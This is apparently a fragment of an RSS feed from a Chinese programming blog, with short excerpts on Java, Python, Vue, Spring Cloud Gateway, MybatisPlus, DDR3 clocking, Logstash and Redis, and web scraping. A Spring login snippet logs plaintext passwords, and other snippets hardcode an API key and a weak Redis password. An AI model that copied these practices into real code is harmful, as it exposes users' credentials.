      <title>Java接口后台生成临时文件到指定目录,并下载该文件</title>
      <link>https://bchobby.github.io/posts/20e2872089a07d181811b6b2d313bbbb/</link>
      <pubDate>Thu, 27 Aug 2020 16:57:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/20e2872089a07d181811b6b2d313bbbb/</guid>
      <description>由于工作需要实现一个把线上数据同步到线下内网里,两个系统是几乎一样的,所以想出来这样一个导入导出的方案,就是用户页面点击导出然后把某一时间段数据导出成文件,然后再到另一个环境点击导入,来实现数据同步的方案,当然这个需要自己去解决数据冲突,就不在此介绍了,废话不多说代码如下&#xA;数据导出&#xA;@RequestMapping(&#34;/download&#34;) public void download(HttpServletRequest request, HttpServletResponse response) throws Exception { String savePath = request.getServletContext().getRealPath(&#34;/WEB-INF/tmp&#34;); logger.debug(&#34;获取到的/WEB-INF/tmp 路径=== &#34; + savePath); File tmpDir = new File(savePath); // 判断上传文件的保存目录是否存在 if (!tmpDir.exists() &amp;amp;&amp;amp; !tmpDir.isDirectory()){ tmpDir.createNewFile(); logger.debug(savePath + &#34;目录不存在，需要创建。&#34;); // 创建目录 tmpDir.mkdir(); } String fileWriteTime = &#34;offline&#34;+ DateUtils.dateToString(new Date(),&#34;yyyy-MM-dd&#34;); String tmpFileName = savePath + &#34;\\&#34; + fileWriteTime + &#34;.data&#34;; logger.debug(&#34;临时文件名：===&#34; + tmpFileName); File file = new File(tmpFileName); // 判断上传文件的保存目录是否存在 if (!file.exists()){ file.createNewFile(); logger.</description>
    </item>
    <item>
      <title>Python 字典中 setdefault()方法</title>
      <link>https://bchobby.github.io/posts/8eff13d5b09aa467d74e0a9162f29cd5/</link>
      <pubDate>Thu, 27 Aug 2020 15:37:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8eff13d5b09aa467d74e0a9162f29cd5/</guid>
      <description>含义：&#xA;Python 字典 setdefault() 函数和 get()方法 类似, 如果键不存在于字典中，将会添加键并将值设为默认值。&#xA;语法&#xA;setdefault() 方法语法：&#xA;dict.setdefault(key, default=None)&#xA;参数&#xA;key – 查找的键。&#xA;default – 键不存在时，设置的默认键值None。&#xA;返回值&#xA;如果字典中包含有给定键，则返回该键对应的值，否则返回为该键设置的值。&#xA;如果字典中已经存在这个key，setdefault不会修改key原来的值，而且该方法会返回key原来的值&#xA;与dict[key]=value有什么区别？&#xA;如果key在字典中不存在，setdefault(key,value)方法与dict[key] = value形式是完全一样的，区别就是当key在字典中存在的情况下。setdefault(key,value)并不会改变原值，而dict[key] = value是会改变原值的。所以setdefault方法主要用于向字典中添加一个key，而不是修改key对应的值。</description>
    </item>
    <item>
      <title>draggable拖拽组件使用</title>
      <link>https://bchobby.github.io/posts/42d551d8f7e1cc58d2645c74fefbe0ad/</link>
      <pubDate>Thu, 27 Aug 2020 10:20:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/42d551d8f7e1cc58d2645c74fefbe0ad/</guid>
      <description>项目开发中需要用到拖拽组件，因为前端技术框架是vue，这里就使用了vue的一款拖拽插件vue.draggable，一般基本的需求都能满足，这里使用了多个draggable嵌套，达到两级之前相互拖拽的功能。&#xA;以下是类似teambition的效果图片，最外层为一个draggable，可以左右拖动，然后每个块里面还有小块，小块组成一个draggable，可以上下拖动，也可以在大的块之间拖动。 这里说一下实现原理。&#xA;首先，要搞清楚draggable的api，这里提供以下博主自己发现的一个vue.draggable中文api地址vue.draggable中文文档（http://www.itxst.com/vue-draggable/tutorial.html），里面基本属性和方法都用讲到，有时间的可以去学习一下，要查看详细的说明可以git去看官方文档说明，官方文档（https://github.com/SortableJS/Vue.Draggable）。&#xA;这里用到了以下几个属性和事件，着重说明下：&#xA;group：拖拽分组，多组之间相互拖拽，可以实现不同数组之间相互拖拽。比如group都为itxst的组之间可以相互拖动，本文例子中分别给两个draggable设置了不同的group属性，是防止大的被拖到小的块里面去 list：作为值属性的替代，list是一个与拖放同步的数组。这里在二级draggable使用了该属性，因为两个draggable用到了同一数据源，二级draggable中用list替代v-model&#xA;animation：通过animation属性设置vue.draggable过渡效果，这样拖动时过渡位置就不会显的太生硬。&#xA;disable: 通过disabled属性实现开启或禁用vue.draggable的拖拽效果。&#xA;end()：拖拽完成时的事件，如果想和后端实现动态更新，可以在这个方法里面和后端进行数据交互&#xA;然后就是示例demo了，这里一些代码段，样式什么的大家可以自由发挥&#xA;// 第一步，安装vue.draggable插件,yarn或者npm都可以 yarn add vuedraggable npm i -S vuedraggable // 第二步，使用插件 import draggable from &#39;vuedraggable&#39; &amp;lt;div&amp;gt; &amp;lt;draggable class=&#34;list-group&#34; group=&#34;task&#34; v-model=&#34;projectList&#34; @end=&#34;draggerEnd()&#34;&amp;gt; &amp;lt;div class=&#34;card-list-span&#34; v-for=&#34;(process, index) in projectList&#34; :key=&#34;process.opListId&#34;&amp;gt; &amp;lt;div class=&#34;span-header&#34;&amp;gt; &amp;lt;div class=&#34;header-title&#34;&amp;gt; {{ process.opListName }} &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div class=&#34;span-body&#34;&amp;gt; &amp;lt;div class=&#34;body-list&#34;&amp;gt; &amp;lt;draggable group=&#34;project&#34; :list=&#34;process.taskVoList&#34; @end=&#34;taskDraggerEnd()&#34; &amp;gt; &amp;lt;div class=&#34;body-list-span&#34; v-for=&#34;task in process.taskVoList&#34; :key=&#34;task.opTaskId&#34; &amp;gt; &amp;lt;div&amp;gt; {{ task.opTaskTitle }} &amp;lt;/div&amp;gt; &amp;lt;div&amp;gt;{{ task.</description>
    </item>
    <item>
      <title>GateWay简介及使用</title>
      <link>https://bchobby.github.io/posts/4e7c4ede7144fb631ae99741d93e0af6/</link>
      <pubDate>Thu, 27 Aug 2020 00:04:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4e7c4ede7144fb631ae99741d93e0af6/</guid>
      <description>1. 简介 Spring Cloud GateWay是Spring Cloud的一个全新项目，目标是取代Netflix Zuul，它基于 Spring5.0+SpringBoot2.0+WebFlux(基于高性能的Reactor模式响应式通信框架Netty，异步非阻塞模 型)等技术开发，性能高于Zuul，官方测试，GateWay是Zuul的1.6倍，旨在为微服务架构提供一种简 单有效的统一的API路由管理方式。&#xA;Spring Cloud GateWay不仅提供统一的路由方式(反向代理)并且基于 Filter(定义过滤器对请求过滤， 完成一些功能) 链的方式提供了网关基本的功能，例如:鉴权、流量控制、熔断、路径重写、日志监控 等。&#xA;网关在架构中的位置&#xA;2. GateWay核心概念 Zuul1.x 阻塞式IO 2.x 基于Netty&#xA;Spring Cloud GateWay天生就是异步非阻塞的，基于Reactor模型&#xA;一个请求—&amp;gt;网关根据一定的条件匹配—匹配成功之后可以将请求转发到指定的服务地址;而在这个过 程中，我们可以进行一些比较具体的控制(限流、日志、黑白名单)&#xA;路由(route): 网关最基础的部分，也是网关比较基础的工作单元。路由由一个ID、一个目标 URL(最终路由到的地址)、一系列的断言(匹配条件判断)和Filter过滤器(精细化控制)组 成。如果断言为true，则匹配该路由。断言(predicates):参考了Java8中的断言java.util.function.Predicate，开发人员可以匹配Http 请求中的所有内容(包括请求头、请求参数等)(类似于nginx中的location匹配一样)，如果断 言与请求相匹配则路由。过滤器(filter):一个标准的Spring webFilter，使用过滤器，可以在请求之前或者之后执行业务 逻辑。&#xA;下面是一张官网的图&#xA;其中，Predicates断言就是我们的匹配条件，而Filter就可以理解为一个无所不能的拦截器，有了 这两个元素，结合目标URL，就可以实现一个具体的路由转发。 3. GateWay工作过程 下面是来自官网的一张图，高度概述了Spring Cloud Gateway如何工作&#xA;客户端向Spring Cloud GateWay发出请求，然后在GateWay Handler Mapping中找到与请求相匹配的 路由，将其发送到GateWay Web Handler;Handler再通过指定的过滤器链来将请求发送到我们实际的服务执行业务逻辑，然后返回。过滤器之间用虚线分开是因为过滤器可能会在发送代理请求之前 (pre)或者之后(post)执行业务逻辑。&#xA;Filter在“pre”类型过滤器中可以做参数校验、权限校验、流量监控、日志输出、协议转换等，在“post”类 型的过滤器中可以做响应内容、响应头的修改、日志的输出、流量监控等。&#xA;注意：在没有端口的路由中定义的uri对于HTTP和HTTPS uri分别获得默认端口值80和443。&#xA;4. GateWay应用 快速创建SpringBoot工程，导入依赖， GateWay不需要使用web模块，它引入的是WebFlux(类似于SpringMVC)，完整的pom文件如下 &amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;project xmlns=&#34;http://maven.apache.org/POM/4.0.0&#34; xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34; xsi:schemaLocation=&#34;http://maven.apache.org/POM/4.0.0 http://maven.</description>
    </item>
    <item>
      <title>CVX专业版本下载及安装教程，附商用求解器授权认证（需学校邮箱）</title>
      <link>https://bchobby.github.io/posts/b7d0606d654f237f7d07bbcecd1b9aa4/</link>
      <pubDate>Wed, 26 Aug 2020 21:57:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b7d0606d654f237f7d07bbcecd1b9aa4/</guid>
      <description> 下载&#xA;在官网选择专业包根据平台选择标准版进行下载，平台必须为64位。&#xA;Windows版本：http://web.cvxr.com/cvx/cvx-w64.zip&#xA;分别获取学业授权证书（需要学校邮箱）&#xA;CVX授权申请&#xA;申请地址，按照指示填写提交后会在邮箱收到证书。&#xA;gurobi授权申请&#xA;申请地址，按照指示填写提交后，在下方可直接看到安装指南&#xA;grbgetkey &amp;lt;授权码&amp;gt; Mosek授权申请&#xA;申请地址，按照指示填写提交后，会在学校邮箱收到证书。&#xA;证书的安装&#xA;gurobi证书安装&#xA;在\cvx\gurobi\w64目录下打开命令行窗口或PowerShell窗口，执行授权命令，&#xA;grbgetkey &amp;lt;授权码&amp;gt; 回车保存证书文件gurobi.lic，将该文件复制到\cvx\gurobi目录下即可&#xA;mosek证书安装&#xA;将邮件中收到的证书文件mosek.lic复制到\cvx\mosek目录下即可&#xA;CVX证书安装&#xA;将邮件中收到的证书文件cvx_license.dat下载至CVX安装包下新建的子目录licenses下。&#xA;在matlab中打开cvx_setup.m文件，添加到路径后，执行如下命令即可安装成功：&#xA;cvx_setup licenses/cvx_license.dat </description>
    </item>
    <item>
      <title>Ubuntu下C语言调用UMFPACK求解稀疏矩阵</title>
      <link>https://bchobby.github.io/posts/a25680b11d4f8a9ea059f94c9cef6522/</link>
      <pubDate>Wed, 26 Aug 2020 20:26:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a25680b11d4f8a9ea059f94c9cef6522/</guid>
      <description>记录程序人生&#xA;环境：linux 我用的是 ubuntu 16.04&#xA;稀疏矩阵解题数学库 - UMFPACK&#xA;1、UMFPACK 简介&#xA;UMFPACK就是求解类似于 Ax=b 这样问题的一个库，来自佛罗里达州立大学。 一般情况下A 是稀疏非对称的矩阵。UMFPACk可以对矩阵进行 LU分解（L 和 U 分别是下三角矩阵和上三角矩阵）&#xA;2、C语言使用UMFPACK&#xA;根据稀疏矩阵的非零元素个数以及是否实数，UMFPACK主要提供以下几个种类的函数供调用：&#xA;（1）函数类型&#xA;1. umfpack_di_*: //非零元素的个数为 int 型，元素为实数 2. umfpack_dl_***: //非零元素的个数为 SuiteSparse_long型，元素为实数 3. umfpack_zi_*: //非零元素的个数为 int 型，元素为复数 4. umfpack_zl_*: // 非零元素的个数为 SuiteSparse_long型，元素为复数 （2）常用函数&#xA;主要有以下5个函数，也是用来求解Ax=b 的5个步骤：&#xA;1.umfpack_*_symbolic: //该函数会返回一个指向Symbolic类型的void * 指针。主要进行符号分解。 2.umfpack_*_numeric: //该函数主要对之间所说的矩阵进行数值分解，需要用到umfpack_*_symbolic返回的结果。 3.umfpack_*_solve: //该函数用来求解线性系统（Ax=b），会用到umfpack_*_numeric返回的结果。矩阵A必须是方的。 4.umfpack_*_free_symbolic: //释放umfpack_*_symbolic得到的Symbolic对象。 5.umfpack_*_free_numeric: //释放umfpack_*_numeric得到的Numeric对象。 （3）UMFPACK矩阵测试&#xA;int n = 5 ; int Ap [5] = {0, 2, 5, 9, 10, 12} ; int Ai [12] = { 0, 1, 0, 2, 4, 1, 2, 3, 4, 2, 1, 4} ; double Ax[12] = {2.</description>
    </item>
    <item>
      <title>vue-某个特定页面异步加载高德地图的方式</title>
      <link>https://bchobby.github.io/posts/8687d4e9eceecc5ea70c071c734c6655/</link>
      <pubDate>Wed, 26 Aug 2020 19:15:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8687d4e9eceecc5ea70c071c734c6655/</guid>
      <description>1 高德官网相关知识点： 高德官网给出的异步加载的方式说明：https://lbs.amap.com/api/javascript-api/guide/abc/load&#xA;demo:https://lbs.amap.com/fn/jsdemo_loader/?url=http%3A%2F%2Fwebapi.amap.com%2Fdemos%2Fload%2Fload2.html&#xA;js使用方式：&#xA;&amp;lt;script type=&#34;text/javascript&#34;&amp;gt; window.init = function(){ var map = new AMap.Map(&#39;container&#39;, { center:[117.000923,36.675807], zoom:11 }); } &amp;lt;/script&amp;gt; &amp;lt;script src=&#34;https://webapi.amap.com/maps?v=1.4.15&amp;amp;key=您申请的key值&amp;amp;callback=init&#34;&amp;gt;&amp;lt;/script&amp;gt; 2 在某一页面，比如multipleMain.vue中引入高德地图的业务逻辑： vue的页面结构是&amp;lt;template&amp;gt; &amp;lt;script&amp;gt; &amp;lt;style&amp;gt;，我们该如何按照上面的逻辑引入高德地图呢？&#xA;1、把引入高德地图的功能放在created()中去实现2、把高德js加载完成的回调方法initMap()【实现地图的初始化】写在前面3、把js引入到body中，也可以引入到head中 注意：每次进multipleMain.vue时都会引入js，如果不加限制会加载多个js，写个方法isLoadMapJS()用来判断是否已经加载了js，如果已经加载了，不需要重复加载，没加载再进行加载&#xA;3 实现方式如下： 1、created()中的异步加载高德地图的逻辑： created(){ // 1 异步加载地图的次数 let _count=this.isLoadMapJS(); // 2 没有加载高德在线js if(_count==0){ // 2.1 高德js加载完成的回调-初始化地图 window.onLoad=()=&amp;gt;{ this.initMap() }; // 2.2 把js引入到body中，引入到head中也可以 var script=document.createElement(&#34;script&#34;); script.setAttribute(&#34;type&#34;, &#34;text/javascript&#34;); script.setAttribute(&#34;src&#34;, &#34;https://webapi.amap.com/maps?v=1.4.15&amp;amp;key=e64fe5fe747de3b6897932dfbdb340d4&amp;amp;callback=onLoad&#34;); var body = document.getElementsByTagName(&#34;body&#34;); if(body.length) { body[0].appendChild(script); }else { document.documentElement.appendChild(script); } }else{ // 3 已经加载过，直接初始化地图即可，不需要再次引入js setTimeout(()=&amp;gt;{ this.</description>
    </item>
    <item>
      <title>超越用户embedding矩阵：用哈希对大型用户建模</title>
      <link>https://bchobby.github.io/posts/62f99f18dc26ca1771828bec51e7e275/</link>
      <pubDate>Wed, 26 Aug 2020 17:48:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/62f99f18dc26ca1771828bec51e7e275/</guid>
      <description>“ 本文介绍了一种新的用户偏好表示方法PreHash ，同时考虑到了大规模数据和冷启动用户。该方法可以在很多推荐算法中替代其用户embedding矩阵。若干SOTA算法上的实验结果显示该算法不仅取得了更好的效果，还减少了模型的参数。”&#xA;作者：胖鱼，北京交大研究生在读，方向为机器学习，推荐系统。&#xA;「0 摘要：」&#xA;论文标题：Beyond User Embedding Matrix: Learning to Hash for Modeling Large-Scale Users in Recommendation(后台回复【prehash】可下载论文)&#xA;处理 「大规模数据」 和 「冷启动用户」是推荐系统的两大挑战。在真实场景（千万级别用户）下，很难利用用户的embedding矩阵储存个性化的用户偏好。许多研究者关注具有丰富历史信息的用户，然而，在真实的系统里，大多数用户都只有少量交互信息。在本文的工作中，作者提出了一种新的「用户偏好表示方法PreHash」 ，同时考虑到了大规模数据和冷启动用户。在该方法中，根据用户的 「历史交互信息」 生成了一系列 「篮子」。具有相似偏好的用户自动被分在用一个篮子。之后将会学习每一个篮子的表示。在设计篮子时，只有有限的参数被储存，这样大大节省了内存。更重要的是，当用户进行新的交互行为后，他的篮子和表示会相应的更新，这样可以更有效得理解和建模用户。该算法还十分灵活，「可以在很多推荐算法中替代其用户embedding矩阵」。因此，我们在很多SOTA算法上进行了实验。实验结果展示该算法不仅取得了更好的效果，还减少了模型的参数。&#xA;「1 Introduction：」&#xA;个性化的用户偏好向量在推荐系统里非常重要。先前的工作为每个用户生成其偏好特征向量，并把他们当作特征矩阵储存。矩阵分解方法通常使用一个特定向量表示用户。一些深度模型也使用embedding层将用户映射为偏好向量。&#xA;然而，这些方法 「很难应用于实际的大规模数据」 上。原因之一是，储存这样一个用户 「embedding矩阵」很困难（内存和计算时间）。同时，其无法考虑到冷启动用户。最后，这些算法无法做到 「增量学习」 ，即在更新用户特征向量时只能重新训练模型。&#xA;构建用户偏好特征向量的简单方法就是将与之交互过的物品向量求和。然而对于冷启动用户，这样的方法不适用。&#xA;本文提出的PreHash方法是一种灵活的用户偏好表示模块，可以 「替代很多推荐方法中的用户embedding矩阵」 。PreHash有两个部分，「历史部分和hash部分」 。历史部分使用一个注意力网络提取 「历史偏好向量」 。在hash部分，有 「许多篮子」，每一个篮子包含偏好相似的用户。Hash部分最重要的功能是 「对于每一个用户」 ，他都会找到一些与其 「行为类似的频繁用户」 。&#xA;「3 用户偏好哈希：」&#xA;「3.1核心思想」&#xA;学习用户偏好向量通过两种方式：用户近期交互过的物品，与当前用户有相似偏好的其他用户。因此使用一个history part从用户的交互历史中学到用户的历史偏好。为了找到与当前用户偏好类似的用户，这里设计了一个hash part建模用户的hash偏好向量。最后用注意力网络将两个part混合。&#xA;biasedMF，相对于普通的矩阵分解加上了biases项。PreHash将其用户表示部分u替换。&#xA;「3.2历史部分」&#xA;这一部分从用户 「以往的交互信息中捕获了偏好」 。考虑到每当对于一个新的物品，有一些物品能显著表达用户偏好，而一些物品则不行。所以这里采取了「注意力网络对物品向量加权」 。v是目标物品的向量。权重可以看做 「当前物品和历史物品的关联程度」 。根号l是对交互次数做标准化。&#xA;关于注意力网络的解释：是否购买iphone，与用户以前购买的book信息无关。&#xA;「3.3哈希部分」&#xA;仅仅利用 「历史向量不足以捕获用户偏好」 ，因为很多 「新用户没有足够的交互信息」 。这里使用了一个哈希模块， 「根据与目标用户的相似性」（根据历史物品交互），找到 「一些频繁用户来表示目标用户」 。哈希部分的功能就是用有限的空间储存和计算偏好。</description>
    </item>
    <item>
      <title>Required string parameter ‘XXX‘ is not present</title>
      <link>https://bchobby.github.io/posts/3fb0e89deb1ba46e3ea7916612a7e185/</link>
      <pubDate>Tue, 25 Aug 2020 21:35:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3fb0e89deb1ba46e3ea7916612a7e185/</guid>
      <description>一、错误描述 写了一个页面登录的方法，在进行页面登录的时候，控制台会报类似Required String parameter &#39;XXX&#39; is not present 错误。&#xA;1.错误信息 控制台日志打印： Required String parameter &#39;loginname&#39; is not present&#xA;2.错误说明 Required String parameter &#39;loginname&#39; is not present 所需的字符串参数“loginname”不存在&#xA;3.错误代码 /** * 页面登录 * @author JacaCao */ @RequestMapping(value = &#34;/login.do&#34;) public String login( @RequestParam(&#34;loginname&#34;) String loginname, @RequestParam(&#34;password&#34;) String password, Model model){ logger.info(&#34;登录名：&#34;+loginname+&#34;密码：&#34;+password); User user = UserService.login(loginname, password); if (user！=null){ model.addAttribute(&#34;user&#34;,user); }else{ // 设置登录失败提示信息 model.addAttribute(&#34;message&#34;, &#34;登录名或密码错误!请重新输入&#34;); } return &#34;loginForm&#34;; } 二、解决方案 在参数传值的过程中经常会遇到传值类型不一致或者参数不存在的情况，就会报required string parameter &#39;XXX&#39; is not present的错误，只需要在注解@RequestParam，添加value=&#34;</description>
    </item>
    <item>
      <title>MybatisPlus学习（四）条件构造器Wrapper方法详解</title>
      <link>https://bchobby.github.io/posts/b6e60069966f2cd6f97a0ca11078131b/</link>
      <pubDate>Tue, 25 Aug 2020 12:48:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b6e60069966f2cd6f97a0ca11078131b/</guid>
      <description>文章目录 🌊前言1、条件构造器2、QueryWrapper2.1、eq、ne2.2、gt、ge、lt、le2.3、between、notBetween2.4、like、notLike、likeLeft、likeRight2.4、isNull、isNotNull2.5、in、notIn2.5、inSql、notInSql2.6、or、and2.6、exists、notExists2.7、orderByAsc、orderByDesc 💖福利🌊 Java入门到就业学习路线规划🌊 小白快速入门Python爬虫路线 🌊前言 Code皮皮虾 一个沙雕而又有趣的憨憨少年，和大多数小伙伴们一样喜欢听歌、游戏，当然除此之外还有写作的兴趣，emm…，日子还很长，让我们一起加油努力叭🌈&#xA;👉话不多说，直达底部有粉丝专享福利！！！&#xA;环境搭建请看该链接的MybatisPlus模块&#xA;1、条件构造器 说明:&#xA;以下出现的第一个入参boolean condition表示该条件是否加入最后生成的sql中以下代码块内的多个方法均为从上往下补全个别boolean类型的入参,默认为true以下出现的泛型Param均为Wrapper的子类实例(均具有AbstractWrapper的所有方法)以下方法在入参中出现的R为泛型,在普通wrapper中是String,在LambdaWrapper中是函数(例:Entity::getId,Entity为实体类,getId为字段id的getMethod)以下方法入参中的R column均表示数据库字段,当R具体类型为String时则为数据库字段名(字段名是数据库关键字的自己用转义符包裹!)!而不是实体类数据字段名!!!,另当R具体类型为SFunction时项目runtime不支持eclipse自家的编译器!!!以下举例均为使用普通wrapper,入参为Map和List的均以json形式表现!使用中如果入参的Map或者List为空,则不会加入最后生成的sql中!!! 2、QueryWrapper 说明:&#xA;继承自 AbstractWrapper ,自身的内部属性 entity 也用于生成 where 条件&#xA;及 LambdaQueryWrapper, 可以通过 new QueryWrapper().lambda() 方法获取&#xA;给之后测试提供参考&#xA;注意：7号数据已经被逻辑删除了&#xA;2.1、eq、ne eq：等于，ne：不等于&#xA;2.2、gt、ge、lt、le gt：大于，ge：大于等于，lt：小于，le：小于等于&#xA;2.3、between、notBetween between：在值1和值2之间，notBetween：不在值1和值2之间&#xA;2.4、like、notLike、likeLeft、likeRight like：’%值%’，notLike：’%值%’，likeLeft：’%值’，likeRight：&#39;值%&#39;&#xA;2.4、isNull、isNotNull isNull：字段 IS NULL，isNotNull：字段 IS NOT NULL&#xA;2.5、in、notIn in：字段 IN (v0, v1, …)，notIn：字段 NOT IN (value.get(0), value.get(1), …)&#xA;2.5、inSql、notInSql inSql：字段 IN ( sql语句 )，notInSql：字段 NOT IN ( sql语句 )</description>
    </item>
    <item>
      <title>DDR3之带宽、位宽和频率使用（MIGIP核里面的时钟结构）</title>
      <link>https://bchobby.github.io/posts/6d3c1672d0a5fa942ece24f70dd39f96/</link>
      <pubDate>Mon, 24 Aug 2020 21:27:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6d3c1672d0a5fa942ece24f70dd39f96/</guid>
      <description>一、如何确定DDR3芯片的带宽、位宽和最大IO时钟频率 这里以芯片Part Number ：MT41J256M16RH-125:E为例，打开芯片的数据手册，会找到如下所示的介绍：&#xA;IO时钟频率：&#xA;根据Part Number 中的“-125”我们就可以找到图中的“1”，根据这里tCK = 1.25ns，就可以算出芯片支持的最大IO时钟频率：1/1.25ns = 800Mhz;此处的IO时钟频率也就是DDR3的频率；&#xA;位宽：&#xA;根据Part Number 中的“256M16”我们可以找到图中2所指出的地方，这里的16是代表芯片的数据位宽是16位（也就是16根数据线）。&#xA;带宽：&#xA;由于是DDR方式传输数据（上升和下降沿都传输），所以芯片的一根数据线上的传输速率 = 2*800Mhz = 1600MT/s。其实就是1600Mbit/s;&#xA;带宽就是16根数据线同时传输的数据速率 = 1600Mbit/s x 16 = 25600Mbit/s = 3200Mbyte/s = 3.125GByte/s&#xA;二、如何确定MIG最大支持的时钟频率 这里以xilinx Artix-7系列的FPGA为例，具体型号为xc7a100tfgg484-2。打开对应的datasheet（ds181），找到如下图所示的介绍（第15页）：&#xA;从上图中红线标出的地方可以看出，此FPAG芯片的MIG支持最大PHY速率是800Mb/s（注意，这是数据传输速率）。因为是使用DDR模式传输数据，所以最大时钟频率 = 800/2 = 400Mhz。（还记得刚刚DDR3 芯片支持的最大IO时钟频率吗？800Mhz,在下面的MIG参数设置中，就会用到这两个参数）。 三、MIG IP 中如何根据以上信息来设置时钟参数 在说具体的时钟参数设置之前，我们先来看一张图 MIG 的 Clocking Architecture&#xA;根据本图很明显的告诉了我们，需要给MIG提供两个时钟，一个叫system clock（主时钟），一个叫reference clock（参考时钟）。&#xA;但是在MIG中，如何对这些时钟参数进行设置（描述）呢？看好了，接下来开始画重点了！！！！！&#xA;在MIG中，涉及到对时钟参数进行设置（描述）的地方有四处，接下来我们一个一个的看：&#xA;第一处，如下图所示&#xA;这里设置的参数就是 MIG 的PHY 接口对DDR3的时钟，也就是DDR3芯片实际跑的IO时钟频率，它由system clock（主时钟）倍频而来，最大频率不能超过DDR3 和MIG支持的最大频率中的最小值，如：虽然我们的DDR3芯片最高支持800Mhz的IO时钟，但是由于我们使用的FPGA芯片的MIG最高只支持400Mhz的时钟，所以这里我们选择400Mhz（当然也可以选择比这个小）。下面有个4:1,说明MIG 输出到app接口上的时钟ui_clk 是 400M/4=100M ，即到时我们在写RTL逻辑代码时操作MIG核时，用的就是这个100M时钟。&#xA;第二处、还是如图所示&#xA;这里就是设置system clock（主时钟）的输入频率，实际是多少就写多少。</description>
    </item>
    <item>
      <title>logstash与redis交互</title>
      <link>https://bchobby.github.io/posts/daee59b08dd8925ae5c53d833e248290/</link>
      <pubDate>Mon, 24 Aug 2020 21:11:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/daee59b08dd8925ae5c53d833e248290/</guid>
      <description>把标准输入的数据存储到redis中&#xA;编辑配置redis-out.conf配置文件，&#xA;# vim /etc/logstash/conf.d/redis-out.conf&#xA;添加如下内容&#xA;input {&#xA;stdin {}&#xA;}&#xA;output {&#xA;redis {&#xA;host =&amp;gt; &#34;192.168.1.202&#34;&#xA;port =&amp;gt; &#34;6379&#34;&#xA;password =&amp;gt; &#39;test&#39;&#xA;db =&amp;gt; &#39;1&#39;&#xA;data_type =&amp;gt; &#34;list&#34;&#xA;key =&amp;gt; &#39;elk-test&#39;&#xA;}&#xA;}&#xA;logstash -f /etc/logstash/conf.d/full.conf&#xA;运行之后在控制台进行输入，然后在Redis观察&#xA;把reids的存储的数据输出到elasticsearch中&#xA;编辑配置redis-in.conf配置文件，&#xA;# vim /etc/logstash/conf.d/redis-out.conf&#xA;添加如下内容&#xA;input{&#xA;redis {&#xA;host =&amp;gt; &#34;192.168.1.202&#34;&#xA;port =&amp;gt; &#34;6379&#34;&#xA;password =&amp;gt; &#39;test&#39;&#xA;db =&amp;gt; &#39;1&#39;&#xA;data_type =&amp;gt; &#34;list&#34;&#xA;key =&amp;gt; &#39;elk-test&#39;&#xA;batch_count =&amp;gt; 1 #这个值是指从队列中读取数据时，一次性取出多少条，默认125条（如果redis中没有125条，就会报错，所以在测试期间加上这个值）</description>
    </item>
    <item>
      <title>【爬虫案例】Requests爬取豆瓣短评以及入门爬虫注意事项</title>
      <link>https://bchobby.github.io/posts/b6d1a4a1492d207ac9a74c2d7ae6ca21/</link>
      <pubDate>Mon, 24 Aug 2020 15:46:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b6d1a4a1492d207ac9a74c2d7ae6ca21/</guid>
      <description>一、Requests是什么？&#xA;Requests 是一个 Python 的 HTTP 客户端库。&#xA;支持的 HTTP 特性：&#xA;保持活动和连接池、国际域名和URL、Cookie持久性会话&#xA;浏览器式SSL验证、自动内容解码、基本/摘要身份验证、优雅的键/值Cookie、自动减压、Unicode响应机构、HTTP（S）代理支持&#xA;分段文件上传、流下载、连接超时、分块请求、.netrc支持、线程安全&#xA;Requests库的七个主要方法（掌握get即可）&#xA;requests.request() 构造一个请求，支撑以下各方法的基础方法&#xA;requests.get() 获取HTML网页的主要方法，对应于HTTP的GET&#xA;requests.head() 获取HTML网页头信息的方法，对应于HTTP的HEAD&#xA;requests.post() 向HTML网页提交POST请求的方法，对应于HTTP的POST&#xA;requests.put() 向HTML网页提交PUT请求的方法，对应于HTTP的PUT&#xA;requests.patch() 向HTML网页提交局部修改请求，对应于HTTP的PATCH&#xA;requests.delete() 向HTML网页提交删除请求，对应于HTTP的DELETE&#xA;二、爬取步骤&#xA;1.安装requests&#xA;(1)pip安装&#xA;pip install requests (2)打开ide的相应位置（以pycharm为例）&#xA;2.设置网页&#xA;3.开始爬取&#xA;爬取网页通用框架定义函数=&amp;gt;设置超时=&amp;gt;异常处理=&amp;gt;调用函数&#xA;爬取代码：&#xA;# 导入Requests import requests # 爬取url url = &#34;https://www.douban.com/&#34; # 定义获取Text内容 def getHTMLText(url): try: # 设置请求头（豆瓣设有反爬机制） headers = { &#39;User-Agent&#39;: &#39;Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36&#39; } response = requests.</description>
    </item>
    <item>
      <title>GBK 编码</title>
      <link>https://bchobby.github.io/posts/329a5270cbcab7fd461b5f3f780a4f0e/</link>
      <pubDate>Mon, 24 Aug 2020 14:48:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/329a5270cbcab7fd461b5f3f780a4f0e/</guid>
